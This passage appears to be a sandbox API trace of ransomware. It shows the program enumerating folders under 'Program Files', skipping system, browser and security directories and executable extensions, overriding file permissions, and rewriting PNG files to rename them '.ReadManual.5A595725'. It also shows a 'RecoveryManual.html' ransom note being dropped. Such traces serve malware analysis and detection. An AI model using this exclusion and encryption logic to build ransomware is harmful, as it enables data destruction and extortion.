StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.422] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.422] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.422] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.422] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.422] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.422] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png" [0252.422] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png.ReadManual.5A595725" [0252.422] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png.ReadManual.5A595725") returned 113 [0252.422] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37309064540) returned 1 [0252.422] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png")) returned 0x20 [0252.423] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.423] GetLastError () returned 0x5 [0252.423] GetNamedSecurityInfoW () returned 0x0 [0252.423] SetNamedSecurityInfoW () returned 0x0 [0252.424] SetNamedSecurityInfoW () returned 0x0 [0252.425] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.425] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3081) returned 1 [0252.425] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc09, lpName=0x0) returned 0x1a0 [0252.425] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xf2) returned 1 [0252.426] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.426] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.427] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.428] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc09) returned 0x2f0000 [0252.428] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.428] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37309658039) returned 1 [0252.428] CloseHandle (hObject=0x1a0) returned 1 [0252.428] SetSecurityInfo () returned 0x5 [0252.428] SetSecurityInfo () returned 0x5 [0252.428] LocalFree (hMem=0x674d38) returned 0x0 [0252.428] CloseHandle (hObject=0x184) returned 1 [0252.429] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 1 [0252.429] lstrcpyW (in: lpString1=0x6ab90e, lpString2="pagecurl.png" | out: lpString1="pagecurl.png") returned="pagecurl.png" [0252.429] lstrcmpiW (lpString1="pagecurl.png", lpString2="RecoveryManual.html") returned -1 [0252.429] StrStrIW (lpFirst="pagecurl.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.429] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.429] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.429] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.429] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.429] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.429] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.429] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.429] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.429] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.429] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.429] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.430] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.430] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.430] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.430] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png" [0252.430] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png.ReadManual.5A595725" [0252.430] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png.ReadManual.5A595725") returned 89 [0252.430] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37309847145) returned 1 [0252.430] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png")) returned 0x20 [0252.430] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.430] GetLastError () returned 0x5 [0252.430] GetNamedSecurityInfoW () returned 0x0 [0252.430] SetNamedSecurityInfoW () returned 0x0 [0252.433] SetNamedSecurityInfoW () returned 0x0 [0252.434] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.434] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=24520) returned 1 [0252.434] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5fc8, lpName=0x0) returned 0x1a0 [0252.434] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc2) returned 1 [0252.435] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.435] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.436] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.437] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5fc8) returned 0x2f0000 [0252.437] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.437] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37310609211) returned 1 [0252.437] CloseHandle (hObject=0x1a0) returned 1 [0252.437] SetSecurityInfo () returned 0x5 [0252.437] SetSecurityInfo () returned 0x5 [0252.438] LocalFree (hMem=0x674d38) returned 0x0 [0252.438] CloseHandle (hObject=0x184) returned 1 [0252.438] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 0 [0252.438] FindClose (in: hFindFile=0x6bff40 | out: hFindFile=0x6bff40) returned 1 [0252.438] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Full", cAlternateFileName="")) returned 1 [0252.438] lstrcpyW (in: lpString1=0x69b8fc, lpString2="Full" | out: lpString1="Full") returned="Full" [0252.438] lstrcatW (in: lpString1="Full", lpString2="\\" | out: lpString1="Full\\") returned="Full\\" [0252.438] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", lpSrch=":\\Windows\\") returned 0x0 [0252.438] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0252.438] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0252.438] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0252.438] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", lpSrch=":\\WINNT") returned 0x0 [0252.438] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0252.438] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", lpSrch=":\\Windows.old\\") returned 0x0 [0252.438] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", lpSrch=":\\PerfLog\\") returned 0x0 [0252.438] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", lpSrch="\\WindowsApps\\") returned 0x0 [0252.438] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0252.438] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0252.438] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0252.438] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0252.438] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0252.438] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0252.438] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0252.438] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", lpSrch="\\Windows Defender\\") returned 0x0 [0252.439] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", lpSrch="\\microsoft shared\\") returned 0x0 [0252.439] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0252.439] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0252.439] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0252.439] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0252.439] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0252.439] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", lpSrch="\\Tor Browser\\") returned 0x0 [0252.439] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0252.439] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\") returned 53 [0252.439] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bff40 [0252.440] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\" [0252.441] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.441] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0252.441] lstrcpyW (in: lpString1=0x6ab906, lpString2="1047x576black.png" | out: lpString1="1047x576black.png") returned="1047x576black.png" [0252.441] lstrcmpiW (lpString1="1047x576black.png", lpString2="RecoveryManual.html") returned -1 [0252.441] StrStrIW (lpFirst="1047x576black.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.441] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.441] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.441] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.441] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.441] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.441] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.441] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.441] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.441] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.441] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.441] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.441] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.441] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.441] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.441] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png" [0252.441] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png.ReadManual.5A595725" [0252.441] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png.ReadManual.5A595725") returned 90 [0252.441] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37311004609) returned 1 [0252.441] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png")) returned 0x20 [0252.442] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.442] GetLastError () returned 0x5 [0252.442] GetNamedSecurityInfoW () returned 0x0 [0252.442] SetNamedSecurityInfoW () returned 0x0 [0252.443] SetNamedSecurityInfoW () returned 0x0 [0252.444] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.444] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4570) returned 1 [0252.444] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11da, lpName=0x0) returned 0x1a0 [0252.444] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc4) returned 1 [0252.445] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.445] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.447] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.447] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11da) returned 0x2f0000 [0252.447] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.447] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37311607724) returned 1 [0252.447] CloseHandle (hObject=0x1a0) returned 1 [0252.447] SetSecurityInfo () returned 0x5 [0252.447] SetSecurityInfo () returned 0x5 [0252.448] LocalFree (hMem=0x674d38) returned 0x0 [0252.448] CloseHandle (hObject=0x184) returned 1 [0252.448] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\" [0252.449] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\RecoveryManual.html" [0252.449] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\RecoveryManual.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0252.449] WriteFile (in: hFile=0x184, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fda8, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fda8*=0xae9, lpOverlapped=0x0) returned 1 [0252.450] CloseHandle (hObject=0x184) returned 1 [0252.450] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0252.451] lstrcpyW (in: lpString1=0x6ab906, lpString2="15x15dot.png" | out: lpString1="15x15dot.png") returned="15x15dot.png" [0252.451] lstrcmpiW (lpString1="15x15dot.png", lpString2="RecoveryManual.html") returned -1 [0252.451] StrStrIW (lpFirst="15x15dot.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.451] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.451] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.451] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.451] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.451] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.451] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.451] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.451] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.451] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.451] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.451] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.451] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.451] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.451] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.451] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png" [0252.451] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png.ReadManual.5A595725" [0252.451] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png.ReadManual.5A595725") returned 85 [0252.451] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37311989440) returned 1 [0252.451] 